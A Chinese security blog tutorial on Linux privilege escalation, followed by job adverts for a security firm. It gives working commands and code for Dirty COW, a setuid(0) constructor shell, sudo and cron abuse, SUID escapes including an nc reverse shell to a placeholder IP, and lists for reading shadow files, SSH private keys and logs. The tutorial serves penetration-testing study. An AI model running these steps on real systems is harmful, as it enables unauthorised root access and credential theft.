vlambda博客
学习文章列表

关于linux权限提升的一些方法

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.1

权限提升主要目的

读取敏感文件(配置文件、密码文件),获得敏感信息(账户密码、用户数据),为进一步权限维持做准备(避免管理员修复你进来的漏洞入口,完成相关权限维持也就多了一次再进来的机会)

No.2

适用条件

目标系统有了shell,但可能是个普通用户,并不是root权限,而且也读不了啥敏感文件比如shadow

才疏学浅,本着学习的心向各位前辈进行学习,这边就先放了一些常用思路,其他一些linux权限基础、linux提权的信息收集补充在的文末,大佬们可自行翻阅。

No.3

常用的一些方式

内核提权:

所需条件:脆弱的内核;匹配的 exp;将 exp 转移到目标的能力;在目标上执行 exp 的能力,其实最主要还是根据相关内核版本,编译已有的exp进行提权,感觉特别新的内核不太好搞提权.......
查看linux内核相关信息与发行版本

两个辅助检测脚本,这边检测出了脏牛
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2

关于linux权限提升的一些方法
关于linux权限提升的一些方法

Kali进行搜索

关于linux权限提升的一些方法

注意:
避免首先运行任何提权exp!!!目标机器可能会崩溃,公开的许多攻击都不稳定,可能会有rootshell但是系统随后会崩溃......
更多姿势可见Github:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/lucyoa/kernel-exploits
https://github.com/xairy/kernel-exploits

以脏牛提权为案例:
利用工具:

https://codeload.github.com/FireFart/dirtycow/zip/master
原权限,shadow是读不到的:

关于linux权限提升的一些方法

使用编译后的exp进行提权,这边会新建了个账户:
[test@testyang ~]$ gcc -pthread dirty.c -o dirty -lcrypt
[test@testyang ~]$ ./dirty 111111

可读取shadow文件:

关于linux权限提升的一些方法

低内核提权
前提:目标目录具有777权限

关于linux权限提升的一些方法

上图主要流程思路:
进入/tmp创建exploit目录,查看ping命令权限,创建文件硬链接并查看权限,将文件加载入内存并查看状态,删除文件后查看状态,创建一个c语言代码,gcc编译后即可获得权限
使用的C语言代码:
void __attribute__((constructor)) init() 

    setuid(0); system("/bin/bash");

}

明文root密码权限:

linux系统的密码大部分都和/etc/passwd和/etc/shadow这两个配置文件息息相关,passwd里面储存了用户,shadow里面是密码的hash,正常情况下shadow是仅root可读写的
/etc/passwd文件:

关于linux权限提升的一些方法

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了),而shadow里面最重要的就是密码的hash
/etc/shadow文件:

关于linux权限提升的一些方法

查看文件权限:

关于linux权限提升的一些方法

如果passwd可写,我们就可以把root的密码字段替换成一个已知密码的hash(比如本地虚拟机shadow里面的已知的root密码的hash),这样系统在验证密码时以passwd的为准,密码就已知了
如果shadow可读,直接获得root账户hash用john进行解密即可,和词典有关,感觉大部分时候解不出来..........

攻击以root权限运行的服务:

查看root用户运行的服务

关于linux权限提升的一些方法
关于linux权限提升的一些方法

sudo提权:

利用条件:
sudo的版本号<1.8.28;知道当前用户的密码;当前用户存在于sudo权限列表
当/etc/sudoers文件存在如下形式的配置会导致漏洞的产生(这种情况不会特别多)
user ALL=(ALL, !root) ALL
允许user用户以非 root 权限之外的所有用户权限运行命令,也就是说user用户拥有root权限以外的所有权限

关于linux权限提升的一些方法

修改配置文件,添加相应内容

关于linux权限提升的一些方法

提权后效果如下,成功读到shadow文件:

关于linux权限提升的一些方法

计划任务利用:

生成环境里边部署的linux系统可能有一些计划任务,一般这些任务由crontab来管理,具有所属用户的权限,非root权限的用户是不可以列出root用户的计划任务的,但是/etc/内系统的计划任务可以被列出

关于linux权限提升的一些方法

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了
假设root调用某个脚本/tmp/te.py每分钟进行执行,非root账户对能够对文件如下修改,直接写了个反弹shell:

关于linux权限提升的一些方法

查看运行日志,确保每分钟都在运行了..

关于linux权限提升的一些方法

nc监听收到反弹shell如下

关于linux权限提升的一些方法

SUID提权:

SUID代表“执⾏时设置⽤⼾ID”,具有该标志位的⽂件在执⾏时,运行的uid变为属主⾝份,其实就是如果⼀个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root
查看原权限

关于linux权限提升的一些方法

赋予s的权限(chmod u+s)后查看新创建文件的权限

关于linux权限提升的一些方法

已知常见的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

除此之外,还可以通过发现系统上运行的所有SUID可执行文件进行进一步利用:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null

查看具有root用户权限的suid文件并利用,利用nmap,这边用的是个老版本的nmap:

关于linux权限提升的一些方法

输入反弹shell命令如下:

关于linux权限提升的一些方法
关于linux权限提升的一些方法

其他利用举例,环境暂时没加权限,可自行琢磨尝试

Find:

touch test
find test -exec whoami \;
find test -exec bash -p \;
find test -exec /bin/sh \;
find test -exec nc -e /bin/sh IP 端口 \;
find test -exec netcat -lvp 端口 -e /bin/sh \;

vim:

编辑/etc/shadow 或者进入vim后启动sh交互
:set shell=/bin/sh
:shell
也可以vim -c '!sh

bash:

bash -p

less:

less /etc/passwd
!/bin/sh

More:

more /home/pelle/myfile
!/bin/bash

劫持环境变量提权:

感觉也可以做成权限维持,通过低权限用户登录上主机调用相关命令获得rootshell:
当前位于/home/bee/testt内编写一个c程序调用系统二进制文件的函数,调用ps命令:

关于linux权限提升的一些方法

使用gcc编译.c的文件并提升suid权限:
gcc demo.c -o dede

关于linux权限提升的一些方法

低权限用户查找suid权限,发现我们制作的文件:

关于linux权限提升的一些方法

进入相关目录发现之前生成的文件并运行:

关于linux权限提升的一些方法

结合echo:

关于linux权限提升的一些方法

结合copy:

关于linux权限提升的一些方法

同理读取文件如下

关于linux权限提升的一些方法
关于linux权限提升的一些方法

补充内容:

都是一些基础知识整理,感觉一些信息收集的点还是挺有用的,大佬们可以选择性翻阅

Linux权限介绍:

Linux操作系统对多用户的管理,是非常繁琐的,所以用组的概念来管理用户就变得简单,每个用户可以在一个独立的组,每个组也可以有零个用户或者多个用户
用户是根据用户ID来识别的,默认ID长度为32位,从默认ID编号从0开始,但是为了和老式系统兼容,用户ID限制在60000以下,Linux用户分总共分为三种,分别如下:
root用户 ID 0
系统用户ID 1-499
普通用户ID 500以上
Linux系统中的每个文件或者文件夹,都有一个所属用户及所属组,使用id命令可以显示当前用户的信息,root账户为0,这里的普通用户为1000

关于linux权限提升的一些方法

Linux操作系统用户的特点如下:

每个用户拥有一个UserID,操作系统实际读取的是UID,而非用户名;
每个用户属于一个主组,属于一个或多个附属组,一个用户最多有31个附属组;
每个组拥有一个GroupID;
每个进程以一个用户身份运行,该用户可对进程拥有资源控制权限;
每个可登陆用户拥有一个指定的Shell环境。

Linux文件权限位:

关于linux权限提升的一些方法
关于linux权限提升的一些方法

第一位:代表文件类型,普通文件为-,目录为d,软连接为l,字符设备为c,块文件为b

第一组:文件拥有者的权限,rwx(读写执行),rw(读写),x(执行),以此类推,rwx转换为数字分别对应421,rwx位置不会改变,若无权限则用-替换
第二组:所在组用户的权限,同理如上
第三组,其他用户的的权限,同理如上
数字:若文件为普通文件,表示文件的硬链接(软链接不会增加数字),若文件未目录,表示目录下的子目录数量
第一个root:文件所有者为root
第二个root:文件所在组为root组
一串数字:文件大小
日期:最后的修改日期
最后一列:文件的名字

权限提升前的信息收集:

这里列举部分常见敏感文件路径信息,供学习及参考:
系统版本:

关于linux权限提升的一些方法

内核版本:

关于linux权限提升的一些方法

环境变量:

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

运行服务:

ps aux
ps -ef
top
cat /etc/service

查root权限服务:

关于linux权限提升的一些方法
关于linux权限提升的一些方法

查询安装的应用及版本,哪些当前运行:

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

服务配置,有无错误配置,寻找脆弱项:

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf

查看计划任务:

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

历史记录查看:

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

主机上可能有哪些纯文本用户名与密码:

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]

查看网络连接情况:

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

查看网络配置,与网络中服务器:

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

敏感文件查看:

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

日志信息查看:

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

感谢大佬看到文末,感谢翻阅。




招聘启事


简历投递至 [email protected]


设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽


简历投递至 [email protected]

安全招聘
————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;


岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]


岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。


简历投递至 [email protected]

专注渗透测试技术

全球最新网络攻击技术

END